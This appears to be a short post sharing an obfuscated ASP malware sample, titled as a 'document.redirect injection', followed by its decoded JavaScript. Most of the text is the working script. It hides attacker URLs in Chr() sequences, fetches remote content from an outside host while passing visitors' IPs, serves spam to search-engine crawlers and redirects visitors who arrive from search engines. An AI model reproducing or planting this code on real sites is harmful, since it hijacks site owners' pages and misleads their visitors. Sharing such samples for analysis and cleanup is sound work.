ASP document.redirect injection

<%
'on error resume next
Server.ScriptTimeout=500
dim sysid
sysid=871
dim O0Oo000OO0O0,O0O000OO0O0,O00O000OO0O0
O0Oo000OO0O0 = "false"
Public O0O0OO0OO000
O0O0OO0OO000 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 110 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 110 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 61 )
Public O0O0O0OO0O0
O0O0O0OO0O0 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 46 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 )
O0O000OO0O0 = O0O000OO0O(O0O0OO0OO000&getIP()) 'getIP()
'response.Write O0O000OO0O0
If instr(O0O000OO0O0,"<t@k>")>0 Then
     O0Oo000OO0O0 = replace(O0O000OO0O0,"<t@k>","")
End If
if CheckAgent=true or O0Oo000OO0O0="true" Then
dim subpageid
subpageid = request.querystring("id")
If subpageid Then
    response.Write O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid&"&subpageid="&subpageid)
Else
    response.Write O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid)
End If
response.End()
End if
O00O000OO0O0 = O0O000OO0O(O0O0O0OO0O0&"sysid="&sysid&"&redirect=yes")
If instr(O00O000OO0O0,"<t@k>")>0 Then
    response.Write replace(O00O000OO0O0,"<t@k>","")
End If
Function O0O000OO0O(O00OO000000O00 )
    Dim OO0O000O00OO0
    Dim OOO0OOO000O00
    On Error Resume Next
    Set OO0O000O00OO0 = Server.CreateObject ( Chr ( 77 ) & Chr ( 83 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) )
    OO0O000O00OO0.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , O00OO000000O00 , False
    OO0O000O00OO0.setRequestHeader Chr ( 85 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 45 ) & Chr ( 65 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) , O00OO000000O00
    OO0O000O00OO0.send
    O0O000OO0O = OO0O000O00OO0.ResponseBody
    Set OO0O000O00OO0 = Nothing
    Set OOO0OOO000O00 = Server.CreateObject ( Chr ( 65 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 83 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) )
    OOO0OOO000O00.Type = ( 86 * 57 - 4901 )
    OOO0OOO000O00.Mode = ( 37 * 51 - 1884 )
    OOO0OOO000O00.Open
    OOO0OOO000O00.Write O0O000OO0O
    OOO0OOO000O00.Position = ( 9 * 61 - 549 )
    OOO0OOO000O00.Type = ( 33 * 64 - 2110 )
    OOO0OOO000O00.Charset = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 )
    O0O000OO0O = OOO0OOO000O00.ReadText
    OOO0OOO000O00.Close
End Function

Function CheckAgent()
  on error resume next
  allow_agent=split("baiduspider,sogou,baidu,sosospider,googlebot",",")
  check_agent=false
  For agenti=lbound(allow_agent) to ubound(allow_agent)
    If Instr(LCase(Request.ServerVariables("HTTP_USER_AGENT")),allow_agent(agenti))>0 then
      check_agent=true
      Exit For
    end if
  Next
  CheckAgent=check_agent
End function

Function getIP()
  on error resume next
  Dim strIPAddr
  If Request.ServerVariables("HTTP_"&"X_"&"FOR"&"WARDED_FOR") = "" Or InStr(Request.ServerVariables("H"&"TTP_X_FO"&"RW"&"ARD"&"ED_FOR"), "unknown") > 0 Then
   strIPAddr = Request.ServerVariables("REM"&"OTE_A"&"DDR")
  ElseIf InStr(Request.ServerVariables("HT"&"TP_X_FORW"&"ARDED_FOR"), ",") > 0 Then
   strIPAddr = Mid(Request.ServerVariables("H"&"TTP_X_FO"&"RWARD"&"ED_FOR"), 1, InStr(Request.ServerVariables("HTT"&"P_X_F"&"ORW"&"AR"&"DED_F"&"OR"), ",")-1)
   actforip = Request.ServerVariables("REMO"&"TE_ADD"&"R")
  ElseIf InStr(Request.ServerVariables("HTT"&"P_X_F"&"RW"&"ARDED_FOR"), ";") > 0 Then
   strIPAddr = Mid(Request.ServerVariables("HT"&"TP_X_FORW"&"ARDED_FOR"), 1, InStr(Request.ServerVariables("H"&"TTP_"&"_FOR"&"WARD"&"ED_FOR"), ";")-1)
   actforip = Request.ServerVariables("R"&"EMO"&"TE_ADD"&"R")
  Else
   strIPAddr = Request.ServerVariables("HT"&"TP"&"_X_FO"&"RWARD"&"ED_FOR")
   actforip = Request.ServerVariables("REM"&"OTE_AD"&"DR")
  End If
  getIP = Replace(Trim(Mid(strIPAddr, 1, 30)), "'", "")
End Function
%>

0#####################################################################################
Decoding it gets you this:

 var s=document. referrer;
 if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("yahoo")>0 || s.indexOf ("aol")>0){
  self.location='http: // targetsite[.]com';
 }